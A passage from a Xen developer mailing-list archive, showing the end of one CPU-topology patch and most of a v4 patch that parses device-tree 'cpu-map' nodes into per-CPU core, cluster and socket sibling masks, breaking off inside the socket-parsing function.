 long do_sysctl(XEN_GUEST_HANDLE_PARAM(xen_sysctl_t) u_sysctl)
 {
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 6bd2d96ebb..9155edc0be 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -22,6 +22,9 @@ void __init acpi_init_cpu_topology(void)
     {
         struct cpu_topology *topo = &cpu_topology[cpu];
 
+        topo->phys_core_id = cpu;
+        topo->num_siblings = 1;
+
         cpumask_set_cpu(cpu, topo->thread_sibling);
         cpumask_copy(topo->core_sibling, &cpu_possible_map);
     }
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index f64820febf..ee34425680 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -4,6 +4,9 @@
 #define XEN_CPU_TOPOLOGY_H
 
 #include <xen/cpumask.h>
+#include <xen/percpu.h>
+#include <asm/processor.h>
+#include <asm/smp.h>
 
 #ifdef CONFIG_GENERIC_CPU_TOPOLOGY
 
@@ -11,16 +14,56 @@ struct cpu_topology {
     cpumask_var_t thread_sibling;
     cpumask_var_t core_sibling;
     cpumask_var_t cluster_sibling;
+    unsigned int phys_core_id;
+    unsigned int phys_cluster_id;
+    unsigned int phys_socket_id;
+    unsigned int num_siblings;
 };
 
 extern struct cpu_topology *cpu_topology;
 void init_cpu_topology(void);
 
+static inline void init_cpu_sibling_map(unsigned int cpu)
+{
+    if ( cpu_topology )
+    {
+        cpumask_copy(per_cpu(cpu_sibling_mask, cpu),
+                     cpu_topology[cpu].thread_sibling);
+        cpumask_copy(per_cpu(cpu_core_mask, cpu),
+                     cpu_topology[cpu].core_sibling);
+    }
+    else
+    {
+        cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
+        cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    }
+}
+
+#define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
+#define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
-#define cpu_topology ((struct cpu_topology *)NULL)
 static inline void init_cpu_topology(void) {}
 
+static inline void init_cpu_sibling_map(unsigned int cpu)
+{
+    /*
+     * If CONFIG_GENERIC_CPU_TOPOLOGY is disabled, it is assumed that
+     * all CPUs reside in the same socket and that SMT is not used.
+     */
+    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
+    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+}
+
+#ifndef cpu_to_core
+#define cpu_to_core(cpu)   (0)
+#endif
+
+#ifndef cpu_to_socket
+#define cpu_to_socket(cpu) (0)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Fri Jul 03 09:16:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 03 Jul 2026 09:16:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1353028.1609215 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfa05-0004Ez-U9; Fri, 03 Jul 2026 09:15:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1353028.1609215; Fri, 03 Jul 2026 09:15:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfa05-0004EK-PX; Fri, 03 Jul 2026 09:15:57 +0000
Received: by outflank-mailman (input) for mailman id 1353028;
 Fri, 03 Jul 2026 09:15:56 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wfa04-0004CB-EH
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 09:15:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfa03-00GN2P-GX
 for xen-devel@lists.xenproject.org; Fri, 03 Jul 2026 11:15:55 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a477dc6-2eae-0a2a0a5409dd-0a2a450ace40-8
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 11:15:55 +0200
Received: from [52.101.125.115]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a477dc6-e40e-0a2a450a0019-34657d733221-4
 for <xen-devel@lists.xenproject.org>; Fri, 03 Jul 2026 11:15:55 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY3P286MB3731.JPNP286.PROD.OUTLOOK.COM (2603:1096:400:3d3::5) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Fri, 3 Jul
 2026 09:15:49 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0181.009; Fri, 3 Jul 2026
 09:15:49 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=nHYMtEk5qw5V/ZvYP2pL4lQE2SCWEx8+w7C1BO7kR8feLzMu1KpLVZBfNywUCTrRU7K23pccdInHQA/q09+ikOGdlf6z0EW6jnCMzs0OvoGPzImUoQR6DjVcv9aBzcpixLemGPrtkUd8OOmSusHayE2EI2uTzCQxMFspWfCln7UVj3LCLVFcEMWGQijqjUKHwWKXeMu+29TqScj5U/okS080A3EQkgUY2HUCm0RkAhCzLJu85A4Q6EIyMSim25DQhTljQLW5odK/AsiKNN3MXKmNOm4F7vGO+Wy+5tzvv0tBFOASVLRTsrROivnMrPliBwt7qYyCJ/3fG0UJFc/c3w==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=NThAHoBNg8DkdpKZCAuwHukZHxyXIkvelDPgBuO8Jxc=;
 b=WFGTDRfzqPB4V6Fufp325EvdULp4YuuHuV6DoKNuqB41f4JOb2IExNDXI08YK0ElAX/EuD/HaQ6NlOVNOoL9ARePPI6To4Imsw5h4C+8QTqLHVNI3clGIDd96hv4rfE6nvDlQ77QaieDYYqblfThOjNUizvKK0nHrZuXDwrGWhmnm54/K5x4+ASWoCtPurI3syzdahTUniVbYaXGQ3rEKbxWUFQqaR+42/ap98xC0695n2Eecx5alyDA0yu+5UE9IS0f55oOqmc7/dD75s2R4m2NqOieKX47qxdWUQYZqkC6I2Q3bry5x2QJV1pWfL3ub6BSKc74FFqKQb+WAwT0hw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=NThAHoBNg8DkdpKZCAuwHukZHxyXIkvelDPgBuO8Jxc=;
 b=iNylflYEbu3pAMMmLruqtBRGJGU5UDRPWATkgN/7/MsTP2QuuPsTkCzbJrSEpO5aWAaTDjTT/e8121bSTqInKkvUWbwXho8PZAW97KzQwyuJZA2YwaxFj/dRpi858PYbArl2/McUOIC6LqhnJt3Z7mFHQ5uEIC+s6OWj5Itg/pI=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>
Subject: [PATCH v4 1/3] xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
Date: Fri,  3 Jul 2026 18:15:42 +0900
Message-ID: <20260703091544.183548-2-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260703091544.183548-1-taka@valinux.co.jp>
References: <20260703091544.183548-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY4P301CA0068.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:36a::7) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|TY3P286MB3731:EE_
X-MS-Office365-Filtering-Correlation-Id: dc408169-b0e3-4f62-e9a3-08ded8e3ac48
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|7416014|376014|10070799003|3023799007|29003799003|25016099003|6133799003|56012099006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	7sDJ0od3F7aChrt6sTpQC536rY0xOISWjcEeS7jjTRkxXBmnqN2Ay277rHnabzXvEIYVdbsyYEZGqs+Iaht7o5cKReRgPXA8MNzck+kwG/Ef4vO63cJs+gpHubD7pyy8yfp0QuJf1PdGjnd3wO3kGV/WtyZE8id5Y+q7aG8L1L14B8TPUqQT44rUBBmUd21Fkhk6CLftu2m47u2yhYzAcdP6PEM3ExJyAE8syTMxZfm98X4QSc48bMRlwa+LXPRT7dAEDTPydpHCuc0aiTaaIZ5F67wEjlJOaw+cYDZWdpwM0tfid/Ynh2nKkD8i4S68gfpclDMa3gmfJ6DMA8O2rFacISrZZreiU5DCJQotYIPsnIdNz2oqxCA/d7yyKpW7Gk1LgmJvVo7nuV92YkhbzYnZp7RjmUk9MjDEU/qiKtpu15C9ffqmrrZ7JTSAk4tjTHTiC7M4cc1mhwWIPmSn8qVwcF1lsFzHSDbty0PIgukOvXka3WLE1++ZCsaLiDhKBJxNX/EzhYnh/N7IUbd/mUwmMTZBlACl1z0d9vOaOrSuuq+i6Q0gfT+hzKeAUQDxOxxDy2egd6fvqIw5xL8DdJlhUJWQBZ4bYC53oQdxwakzCZebH8MJkmOzKhUCWj0CCcOG8oUjaKmpeIIh/moVXNZ1LQOFiaPX66CjfqjqF2w=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(7416014)(376014)(10070799003)(3023799007)(29003799003)(25016099003)(6133799003)(56012099006)(22082099003)(18002099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii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OrBQyn03USlYs2112?=
 =?us-ascii?Q?B8TFW5N3CM/RshzDqF3ugIURbC1D3uOTmrK5MtsjpAFizLHW+QEccu/c4Cu8?=
X-MS-Exchange-AntiSpam-MessageData-1: nbcw1yE3qkfuUg==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: dc408169-b0e3-4f62-e9a3-08ded8e3ac48
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 03 Jul 2026 09:15:49.4886
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: z5cChvhGNC5LgbV4nTCd46wtawED68Pfxr9ot0W4s/MpAM7Eh1j/qONZiypyvvQR+wNyNQl6a6QF+VjSg0pLuA==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY3P286MB3731
X-purgate-ID: tlsNG-4011c0/1783070155-D653FDDE-276232E8/0/0
X-purgate-type: clean
X-purgate-size: 22852

Parse the 'cpu-map' node in the Device Tree to extract CPU topology
information. If the 'cpu-map' node is absent, fall back to
generating the topology data from the NUMA information. This
generation assumes exactly one socket per NUMA node and that SMT
is unsupported.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---
Changes in v4:
 - Only display the CPU topology configuration prompt in common/Kconfig
   if the architecture defines HAS_GENERIC_CPU_TOPOLOGY.
 - Move the definition of the global 'cpu_topology' pointer to
   common/cpu-topology.c.
 - Update the Makefile to explicitly build objects as .init.o when all
   functions and data within a file are annotated with __init/__initdata,
   ensuring their memory is reclaimed after system initialization.
 - Add an error log in the CPU-to-node mapping function for out-of-bounds
   cases.
 - Use ARRAY_SIZE() instead of raw macros when guarding array accesses.
 - Rename variables and functions to avoid ambiguous or misleading terms:
   - Avoid 'cpuid' to prevent confusion with x86 CPUID features/instructions.
   - Avoid 'node' where it could be confused with a NUMA node, explicitly
     renaming them to clarify they refer to a Device Tree node.
 - Move local variable declarations into the narrowest possible scope.
 - Replace the unsupported "%pOF" printk format specifier with "%s" and
   explicit node name retrieval.
 - Remove #include <dt-cpu-topology.h> from cpu-topology.h, and ensure
   the header directly includes only what its definitions require.
 - Remove #include <xen/device_tree.h> from dt-cpu-topology.h, replacing
   it with a forward declaration of 'struct dt_device_node'.
 - Use 'const' qualifiers for pointer declarations where the pointed-to
   structure is not modified.

Changes in v3:
 - Use (nr_cpu_ids - 1) as the maximum CPU ID here. The fix for the sparse
   map mismatch issue on ARM Xen has been split out into a separate patch.
 - Switch topology sibling masks to cpumask_var_t for dynamic allocation.
 - Allow the system to keep running with a degraded fallback even if
   the topology table allocation fails.
 - Clean up the code to follow the Xen coding style. Please let me know
   if I missed any style nits!
 - Verify successful builds across x86, RISC-V, and PPC environments.

Changes in v2:
 - Generate topology information even when ACPI is enabled. Note that
   this is a temporary implementation and doesn't yet parse the PPTT
   (Processor Properties Topology Table).
 - Added support for cpu-map node in Device Tree that doesn't contain
   explicit cluster node definitions.

 xen/arch/arm/Kconfig                  |   1 +
 xen/arch/arm/smpboot.c                |   7 +
 xen/common/Kconfig                    |  18 ++
 xen/common/Makefile                   |   1 +
 xen/common/cpu-topology.c             |  62 +++++
 xen/common/device-tree/Makefile       |   1 +
 xen/common/device-tree/cpu-topology.c | 355 ++++++++++++++++++++++++++
 xen/drivers/acpi/Kconfig              |   3 +
 xen/drivers/acpi/Makefile             |   1 +
 xen/drivers/acpi/topology.c           |  38 +++
 xen/include/xen/acpi.h                |   2 +
 xen/include/xen/cpu-topology.h        |  35 +++
 xen/include/xen/dt-cpu-topology.h     |  29 +++
 13 files changed, 553 insertions(+)
 create mode 100644 xen/common/cpu-topology.c
 create mode 100644 xen/common/device-tree/cpu-topology.c
 create mode 100644 xen/drivers/acpi/topology.c
 create mode 100644 xen/include/xen/cpu-topology.h
 create mode 100644 xen/include/xen/dt-cpu-topology.h

diff --git a/xen/arch/arm/Kconfig b/xen/arch/arm/Kconfig
index 5fa89fcb24..a390844432 100644
--- a/xen/arch/arm/Kconfig
+++ b/xen/arch/arm/Kconfig
@@ -22,6 +22,7 @@ config ARM
 	select HAS_GRANT_CACHE_FLUSH if GRANT_TABLE
 	select HAS_STACK_PROTECTOR
 	select HAS_UBSAN
+	select HAS_GENERIC_CPU_TOPOLOGY
 
 config ARCH_DEFCONFIG
 	string
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index 7f3cfa812e..5ce2bcf6ec 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -9,10 +9,12 @@
 
 #include <xen/acpi.h>
 #include <xen/cpu.h>
+#include <xen/cpu-topology.h>
 #include <xen/cpumask.h>
 #include <xen/delay.h>
 #include <xen/device_tree.h>
 #include <xen/domain_page.h>
+#include <xen/dt-cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/mm.h>
@@ -242,6 +244,9 @@ static void __init dt_smp_init_cpus(void)
         }
         else
             tmp_map[i] = hwid;
+
+        /* Pass the info to dt_init_cpu_topology() */
+        map_cpu_to_dt_node(i, cpu);
     }
 
     if ( !bootcpu_valid )
@@ -279,6 +284,8 @@ void __init smp_init_cpus(void)
     else
         acpi_smp_init_cpus();
 
+    init_cpu_topology();
+
     if ( opt_hmp_unsafe )
         warning_add("WARNING: HMP COMPUTING HAS BEEN ENABLED.\n"
                     "It has implications on the security and stability of the system,\n"
diff --git a/xen/common/Kconfig b/xen/common/Kconfig
index 5ff71480ee..6ee689cbdd 100644
--- a/xen/common/Kconfig
+++ b/xen/common/Kconfig
@@ -188,6 +188,24 @@ config VM_EVENT
 config NEEDS_LIBELF
 	bool
 
+config HAS_GENERIC_CPU_TOPOLOGY
+	bool
+
+config DT_CPU_TOPOLOGY
+	bool
+
+config GENERIC_CPU_TOPOLOGY
+	bool "CPU topology support (UNSUPPORTED)" if UNSUPPORTED
+	depends on HAS_GENERIC_CPU_TOPOLOGY
+	select DT_CPU_TOPOLOGY if DEVICE_TREE_PARSE
+	select ACPI_CPU_TOPOLOGY if ACPI
+	help
+	  Retrieve CPU topology information from the device tree to optimize
+	  virtual CPU scheduling.
+
+	  Note: Implementation for parsing CPU topology from the ACPI PPTT
+	  is currently missing.
+
 config NUMA
 	bool
 
diff --git a/xen/common/Makefile b/xen/common/Makefile
index 6018e25614..34b333cdb3 100644
--- a/xen/common/Makefile
+++ b/xen/common/Makefile
@@ -5,6 +5,7 @@ obj-$(CONFIG_GENERIC_BUG_FRAME) += bug.o
 obj-$(CONFIG_HYPFS_CONFIG) += config_data.o
 obj-$(CONFIG_CORE_PARKING) += core_parking.o
 obj-y += cpu.o
+obj-$(CONFIG_GENERIC_CPU_TOPOLOGY) += cpu-topology.o
 obj-$(CONFIG_DEBUG_TRACE) += debugtrace.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += device.o
 obj-$(filter-out $(CONFIG_X86),$(CONFIG_ACPI)) += device.o
diff --git a/xen/common/cpu-topology.c b/xen/common/cpu-topology.c
new file mode 100644
index 0000000000..94cb9ba312
--- /dev/null
+++ b/xen/common/cpu-topology.c
@@ -0,0 +1,62 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/dt-cpu-topology.h>
+#include <xen/init.h>
+
+struct cpu_topology *__ro_after_init cpu_topology;
+
+static void __init free_topology_table(void)
+{
+    unsigned int cpu;
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        free_cpumask_var(cpu_topology[cpu].thread_sibling);
+        free_cpumask_var(cpu_topology[cpu].core_sibling);
+        free_cpumask_var(cpu_topology[cpu].cluster_sibling);
+    }
+
+    XFREE(cpu_topology);
+}
+
+void __init init_cpu_topology(void)
+{
+    unsigned int cpu;
+
+    cpu_topology = xzalloc_array(struct cpu_topology, nr_cpu_ids);
+    if ( !cpu_topology )
+    {
+        printk(XENLOG_ERR "Failed to allocate memory for cpu_topology table\n");
+        return;
+    }
+
+    for ( cpu = 0; cpu < nr_cpu_ids; cpu++ )
+    {
+        if ( !zalloc_cpumask_var(&cpu_topology[cpu].thread_sibling) ||
+             !zalloc_cpumask_var(&cpu_topology[cpu].core_sibling) ||
+             !zalloc_cpumask_var(&cpu_topology[cpu].cluster_sibling) )
+        {
+            free_topology_table();
+            printk(XENLOG_ERR "Failed to allocate memory for cpu_topology table\n");
+            return;
+        }
+    }
+
+    if ( acpi_disabled )
+        dt_init_cpu_topology();
+    else
+        acpi_init_cpu_topology();
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
diff --git a/xen/common/device-tree/Makefile b/xen/common/device-tree/Makefile
index 9036e455d6..6ee670b5f4 100644
--- a/xen/common/device-tree/Makefile
+++ b/xen/common/device-tree/Makefile
@@ -1,6 +1,7 @@
 obj-y += bootfdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo-fdt.init.o
 obj-$(CONFIG_HAS_DEVICE_TREE_DISCOVERY) += bootinfo.init.o
+obj-$(CONFIG_DT_CPU_TOPOLOGY) += cpu-topology.init.o
 obj-y += device-tree.o
 obj-$(CONFIG_DOMAIN_BUILD_HELPERS) += domain-build.init.o
 obj-$(filter $(CONFIG_DOM0LESS_BOOT),$(CONFIG_HAS_DEVICE_TREE_DISCOVERY)) += dom0less-build.init.o
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
new file mode 100644
index 0000000000..b653227ef4
--- /dev/null
+++ b/xen/common/device-tree/cpu-topology.c
@@ -0,0 +1,355 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Derived from Linux kernel 7.0's $drivers/base/arch_topology.c
+ * Parse cpu topology information.
+ */
+
+#include <xen/acpi.h>
+#include <xen/cpu-topology.h>
+#include <xen/cpumask.h>
+#include <xen/device_tree.h>
+#include <xen/errno.h>
+#include <xen/init.h>
+#include <xen/numa.h>
+
+struct cpu_map {
+    unsigned int thread_id;
+    unsigned int core_id;
+    unsigned int cluster_id;
+    unsigned int package_id;
+};
+
+static const unsigned int __initdata invalid_topo_id = ~0U;
+static struct cpu_map __initdata cpu_map[NR_CPUS] = {
+    [0 ... NR_CPUS - 1] = {invalid_topo_id, invalid_topo_id, invalid_topo_id, 0}
+};
+static struct dt_device_node *__initdata dt_cpu_table[NR_CPUS];
+
+static void __init setup_siblings_masks(unsigned int target_cpu)
+{
+    const struct cpu_topology *target_topo = &cpu_topology[target_cpu];
+    const struct cpu_map *target_map = &cpu_map[target_cpu];
+    unsigned int cpu;
+
+    /* Update core and thread sibling masks */
+    for_each_possible_cpu(cpu)
+    {
+        const struct cpu_topology *cpu_topo = &cpu_topology[cpu];
+        const struct cpu_map *map = &cpu_map[cpu];
+
+        if ( target_map->package_id != map->package_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->core_sibling);
+        cpumask_set_cpu(cpu, target_topo->core_sibling);
+
+        if ( target_map->cluster_id != map->cluster_id )
+            continue;
+
+        if ( target_map->cluster_id != invalid_topo_id )
+        {
+            cpumask_set_cpu(target_cpu, cpu_topo->cluster_sibling);
+            cpumask_set_cpu(cpu, target_topo->cluster_sibling);
+        }
+
+        if ( target_map->core_id != map->core_id )
+            continue;
+
+        cpumask_set_cpu(target_cpu, cpu_topo->thread_sibling);
+        cpumask_set_cpu(cpu, target_topo->thread_sibling);
+    }
+}
+
+static struct dt_device_node *__init
+       dt_find_child_node_by_name(const struct dt_device_node *dt,
+                                  const char *name)
+{
+    struct dt_device_node *np;
+
+    dt_for_each_child_node(dt, np)
+        if ( np->name && (dt_node_cmp(np->name, name) == 0) )
+            break;
+
+    return np;
+}
+
+void __init map_cpu_to_dt_node(unsigned int cpu,
+                               struct dt_device_node *cpu_node)
+{
+    if ( cpu < ARRAY_SIZE(dt_cpu_table) )
+        dt_cpu_table[cpu] = cpu_node;
+    else
+        printk(XENLOG_WARNING
+               "cpu id %u exceeds the max cores %lu\n",
+               cpu, ARRAY_SIZE(dt_cpu_table));
+}
+
+static unsigned int __init cpu_node_to_id(const struct dt_device_node *cpu_node)
+{
+    unsigned int cpu;
+
+    for_each_possible_cpu(cpu)
+        if ( cpu_node == dt_cpu_table[cpu] )
+            return cpu;
+
+    return invalid_topo_id;
+}
+
+/*
+ * This function returns the logical cpu number of the DT node.
+ */
+static unsigned int __init
+       get_cpu_for_node(const struct dt_device_node *dt_node)
+{
+    const struct dt_device_node *cpu_node = dt_parse_phandle(dt_node, "cpu", 0);
+
+    if ( !cpu_node )
+        return invalid_topo_id;
+
+    return cpu_node_to_id(cpu_node);
+}
+
+static int __init parse_core(const struct dt_device_node *core,
+                             unsigned int package_id,
+                             unsigned int cluster_id,
+                             unsigned int core_id)
+{
+    bool leaf = true;
+    unsigned int i = 0;
+    unsigned int cpu;
+
+    do {
+        const struct dt_device_node *t;
+        char name[20];
+
+        snprintf(name, sizeof(name), "thread%u", i);
+        t = dt_find_child_node_by_name(core, name);
+
+        if ( !t )
+            break;
+
+        leaf = false;
+        cpu = get_cpu_for_node(t);
+        if ( cpu != invalid_topo_id )
+        {
+            cpu_map[cpu].package_id = package_id;
+            cpu_map[cpu].cluster_id = cluster_id;
+            cpu_map[cpu].core_id = core_id;
+            cpu_map[cpu].thread_id = i;
+        }
+        else
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: Can't get CPU for thread\n", dt_node_name(t));
+            return -EINVAL;
+        }
+        i++;
+    } while ( true );
+
+    cpu = get_cpu_for_node(core);
+
+    if ( cpu != invalid_topo_id )
+    {
+        if ( !leaf )
+        {
+            printk(XENLOG_ERR "ERROR: %s: Core has both threads and CPU\n",
+                   dt_node_name(core));
+            return -EINVAL;
+        }
+
+        cpu_map[cpu].package_id = package_id;
+        cpu_map[cpu].cluster_id = cluster_id;
+        cpu_map[cpu].core_id = core_id;
+        cpu_map[cpu].thread_id = 0;
+    }
+    else if ( leaf )
+    {
+        printk(XENLOG_ERR
+               "ERROR: %s: Can't get CPU for leaf core\n", dt_node_name(core));
+        return -EINVAL;
+    }
+
+    return 0;
+}
+
+static int __init parse_cluster(const struct dt_device_node *cluster,
+                                unsigned int package_id,
+                                unsigned int cluster_id,
+                                unsigned int depth)
+{
+    bool leaf = true;
+    bool has_cores = false;
+    unsigned int core_id = 0;
+    unsigned int i = 0;
+
+    /*
+     * First check for child clusters; we currently ignore any
+     * information about the nesting of clusters and present the
+     * scheduler with a flat list of them.
+     */
+    do {
+        const struct dt_device_node *c;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "cluster%u", i);
+        c = dt_find_child_node_by_name(cluster, name);
+
+        if ( !c )
+            break;
+
+        leaf = false;
+        ret = parse_cluster(c, package_id, i, depth + 1);
+        if ( depth > 0 )
+            printk(XENLOG_WARNING
+                   "WARNING: Topology for clusters of clusters not yet supported\n");
+        if ( ret != 0 )
+            return ret;
+        i++;
+    } while ( true );
+
+    /* Now check for cores */
+    i = 0;
+    do {
+        const struct dt_device_node *c;
+        char name[20];
+        int ret;
+
+        snprintf(name, sizeof(name), "core%u", i);
+        c = dt_find_child_node_by_name(cluster, name);
+
+        if ( !c )
+            break;
+
+        has_cores = true;
+
+        if ( depth == 0 )
+        {
+            printk(XENLOG_ERR
+                   "ERROR: %s: cpu-map children should be clusters\n",
+                   dt_node_name(c));
+            return -EINVAL;
+        }
+
+        if ( leaf )
+        {
+            ret = parse_core(c, package_id, cluster_id, core_id++);
+            if ( ret != 0 )
+                return ret;
+        }
+        else
+        {
+            printk(XENLOG_ERR "ERROR: %s: Non-leaf cluster with core %s\n",
+                   dt_node_name(cluster), name);
+            return -EINVAL;
+        }
+
+        i++;
+    } while ( true );
+
+    if ( leaf && !has_cores )
+        printk(XENLOG_WARNING "WARNING: %s: empty cluster\n",
+               dt_node_name(cluster));
+
+    return 0;
+}
+
+static int __init parse_socket(const struct dt_device_node *socket)
+{
+    bool has_socket = false;
+    unsigned int package_id = 0;
+    int ret;
+
+    do {
+        const struct dt_device_node *c;
+        char name[20];
+
+        snprintf(name, sizeof(name), "socket%u", package_id);
+        c = dt_find_child_node_by_name(socket, name);
+
+        if ( !c )
+            break;
+
+        has_socket = true;
